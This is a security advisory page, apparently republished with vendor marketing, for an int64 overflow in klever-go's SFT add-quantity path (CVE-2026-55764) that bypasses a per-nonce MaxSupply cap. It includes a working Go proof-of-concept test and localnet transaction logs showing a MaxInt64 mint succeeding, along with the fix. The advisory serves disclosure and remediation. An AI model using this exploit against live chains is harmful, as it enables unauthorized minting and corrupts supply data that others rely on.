Summary
klever-go: SFT add-quantity int64 overflow bypasses a finite per-nonce MaxSupply
On the SFT add-quantity path the only supply bound is SFTAddCirculation, which doesmeta.Circulation += amount with no overflow guard, then checksif meta.Circulation > meta.MaxSupply && meta.MaxSupply != 0. If amount overflows int64 and wraps
negative, negative > MaxSupply is false, the cap check passes, the function returns nil, and the balance
credit stands. A nonce created with a finite MaxSupply (e.g. 1000) can thus be minted to ~`MaxInt64tokens in one transaction. The fungible mint path is **not** vulnerable, it has a post-incrementMintedValue <= 0` guard
that the SFT path lacks.
Affected code
core/kapp/systemAccount/systemAcount.go:132-138(SFTAddCirculation, the unguarded+=).- Caller:
core/kapp/kda/mint.go:247-283(processSemiFungibleAddQuantity); contrast guardmint.go:289.
Reachability
Mint-role holder (asset owner or an address granted the role). The mint Amount is a raw int64 from the
contract with no upstream upper bound.
Proof of concept
Unit test
TestExploit_SFTCirculationOverflowBypassesCap creates a nonce capped at MaxSupply = 1000, seedsCirculation = 5, then calls SFTAddCirculation(MaxInt64). The call returns nil (cap bypassed) and Circulation
wraps to -9223372036854775804; a normal over-cap amount (2000) is correctly rejected withErrMaxSupplyExceeded and does not persist, isolating the unguarded += overflow as the bypass.
systemAccount package, passes = bug confirmed)package systemAccount
import (
"math"
"testing"
"github.com/klever-io/klever-go/common"
commonMock "github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/data/state"
"github.com/klever-io/klever-go/kapps"
"github.com/klever-io/klever-go/tools/marshal"
"github.com/stretchr/testify/require"
)
func newExploitSystemAccountKApp(t *testing.T) (*systemAccountKApp, map[string][]byte) {
t.Helper()
marshalizer := &marshal.ProtoMarshalizer{}
store := make(map[string][]byte)
tracker := &commonMock.DataTrieTrackerStub{
RetrieveValueCalled: func(key []byte) ([]byte, error) {
return store[string(key)], nil
},
SaveKeyValueCalled: func(key []byte, value []byte) error {
store[string(key)] = value
return nil
},
}
kappAccount := &commonMock.KAppAccountHandlerStub{
DataTrieTrackerCalled: func() state.DataTrieTracker {
return tracker
},
}
s := &systemAccountKApp{marshalizer: marshalizer}
require.NoError(t, s.SetAccountsCacher(&commonMock.AccountsCacherStub{
LoadKAppCalled: func(address []byte) (state.KAppAccountHandler, error) {
return kappAccount, nil
},
}))
return s, store
}
func readMeta(t *testing.T, s *systemAccountKApp, asset, nonce []byte) *kapps.MetaV2 {
t.Helper()
meta, err := s.SFTGetMeta(asset, nonce)
require.NoError(t, err)
require.NotNil(t, meta)
return meta
}
// TestExploit_SFTCirculationOverflowBypassesCap proves that SFTAddCirculation
// (core/kapp/systemAccount/systemAcount.go:132) performs an unguarded
// `meta.Circulation += amount`. With an amount near MaxInt64, Circulation
// overflows int64 and wraps negative, so the signed cap check
// `meta.Circulation > meta.MaxSupply` reads false and the function returns nil:
// the finite per-nonce MaxSupply (1000) is bypassed and supply is minted far
// past the declared cap.
func TestExploit_SFTCirculationOverflowBypassesCap(t *testing.T) {
asset := []byte("SFTASSET")
nonce := []byte{0x01}
const maxSupply = int64(1000)
const startCirculation = int64(5)
// amount is a raw int64 from the contract with no upstream upper bound; the
// largest value it can carry is MaxInt64. With Circulation already at 5,
// 5 + MaxInt64 overflows int64 and wraps negative.
const overflowAmount = int64(math.MaxInt64) // 9223372036854775807
// --- setup: a nonce with a small FINITE MaxSupply and small Circulation ---
s, _ := newExploitSystemAccountKApp(t)
require.NoError(t, s.SFTCreateMeta(asset, nonce, maxSupply, []byte("hash")))
// seed an initial circulation of 5 (well within the cap)
require.NoError(t, s.SFTAddCirculation(asset, nonce, startCirculation))
before := readMeta(t, s, asset, nonce)
require.Equal(t, maxSupply, before.MaxSupply)
require.Equal(t, startCirculation, before.Circulation)
t.Logf("BEFORE exploit: MaxSupply=%d Circulation=%d", before.MaxSupply, before.Circulation)
// --- contrast: a normal over-cap amount IS correctly rejected ---
// 5 + 2000 = 2005 > 1000, no overflow -> ErrMaxSupplyExceeded.
contrastErr := s.SFTAddCirculation(asset, nonce, 2000)
require.ErrorIs(t, contrastErr, common.ErrMaxSupplyExceeded,
"a non-overflowing over-cap mint must be rejected")
// the rejected call must NOT have persisted (Circulation unchanged at 5)
afterContrast := readMeta(t, s, asset, nonce)
require.Equal(t, startCirculation, afterContrast.Circulation,
"rejected over-cap mint must not persist new circulation")
t.Logf("CONTRAST mint amount=2000 (5+2000=2005 > cap 1000) -> err=%v, Circulation stays %d",
contrastErr, afterContrast.Circulation)
// --- the exploit: amount near MaxInt64 overflows Circulation negative ---
exploitErr := s.SFTAddCirculation(asset, nonce, overflowAmount)
after := readMeta(t, s, asset, nonce)
t.Logf("EXPLOIT mint amount=%d (~MaxInt64), MaxSupply=%d", overflowAmount, after.MaxSupply)
t.Logf("AFTER exploit: Circulation=%d err=%v", after.Circulation, exploitErr)
// (1) the cap was BYPASSED: SFTAddCirculation returned nil, no ErrMaxSupplyExceeded
require.NoError(t, exploitErr,
"BUG: overflowing mint should have been capped but returned nil (cap bypassed)")
// (2) Circulation wrapped NEGATIVE: minted far past the declared cap of 1000
require.Negative(t, after.Circulation,
"BUG: Circulation must have overflowed to a negative value")
// sanity: the wrap is exactly the int64 two's-complement of 5 + overflowAmount.
// Computed via non-constant vars so the deliberate overflow happens at runtime
// (a constant expression would be rejected by the compiler).
circ := startCirculation
amt := overflowAmount
expectedWrap := circ + amt // intentional int64 overflow at runtime
require.Equal(t, expectedWrap, after.Circulation)
t.Logf("CONFIRMED: nonce capped at %d now reports Circulation=%d (negative); "+
"a real mint would have credited ~%d tokens with no matching debit.",
maxSupply, after.Circulation, overflowAmount)
}
On-chain reproduction (live single-node localnet)
SFT F05-2SDF was created with nonce 1 capped at MaxSupply = 1000 (the setup mint of amount = 1 succeeds
normally). An AssetTrigger Mint of amount = 9223372036854775807 (MaxInt64) for F05-2SDF/1, sent to a fresh
receiver, returned resultCode Ok with a Transfer receipt minting MaxInt64 from the protocol mint address ,
no MaxSupplyExceeded, despite the declared cap of 1000. (Sending the same amount to an account that already held
nonce-1 units instead trips the balance overflow guard with RC 37, confirming the unguarded counter is
specifically SFTAddCirculation, reached only when the receiver's balance add does not itself overflow.)
amount=1 (hash 21e8059e…b55aad1a){
"hash": "21e8059e50ffb5534a02f0f78e12db4632740d8d82da144d1f3732b4b55aad1a",
"blockNum": 463,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"type": 0,
"typeString": "Transfer",
"value": 1
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF",
"toAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
"amount": 1
}
}
]
}
Exploit, MaxInt64 add-quantity to a fresh receiver, result Ok, cap 1000 bypassed (hash 8aff40fa…2e1c981e){
"hash": "8aff40fa270905516cad82083e7eae6264e63a6874f8c13d8348c3632e1c981e",
"blockNum": 484,
"status": "success",
"resultCode": "Ok",
"chainID": "420420",
"receipts": [
{
"assetId": "F05-2SDF/1",
"assetType": "SemiFungible",
"from": "klv1qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqpgm89z",
"to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"type": 0,
"typeString": "Transfer",
"value": 9223372036854775807
}
],
"contract": [
{
"type": 11,
"typeString": "AssetTriggerContractType",
"parameter": {
"triggerType": "Mint",
"assetId": "F05-2SDF/1",
"toAddress": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
"amount": 9223372036854775807
}
}
]
}
Impact
A mint-role holder mints ~9.2e18 units of a nonce whose declared MaxSupply is small, with no authorized debit,
and corrupts the on-chain Circulation counter to a negative value (misleading any market/indexer that reads it).
An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value. Typical impact: incorrect size calculations leading to heap overflows or logic errors.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- In
SFTAddCirculation, add a post-increment overflow guard before the cap check (e.g.if meta.Circulation < 0 { return ErrSupplyNotValid }, matching the fungibleMintedValue <= 0pattern), or
checkamountagainstMaxSupply - Circulationwith overflow-safe arithmetic. - Consensus-affecting → gate behind the next activation flag.
Frequently Asked Questions
- What is CVE-2026-55764? CVE-2026-55764 is a high-severity integer overflow or wraparound vulnerability in github.com/klever-io/klever-go (go), affecting versions < 1.7.19. It is fixed in 1.7.19. An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value.
- Which versions of github.com/klever-io/klever-go are affected by CVE-2026-55764? github.com/klever-io/klever-go (go) versions < 1.7.19 is affected.
- Is there a fix for CVE-2026-55764? Yes. CVE-2026-55764 is fixed in 1.7.19. Upgrade to this version or later.
- Is CVE-2026-55764 exploitable, and should I be worried? Whether CVE-2026-55764 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55764 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55764? Upgrade
github.com/klever-io/klever-goto 1.7.19 or later.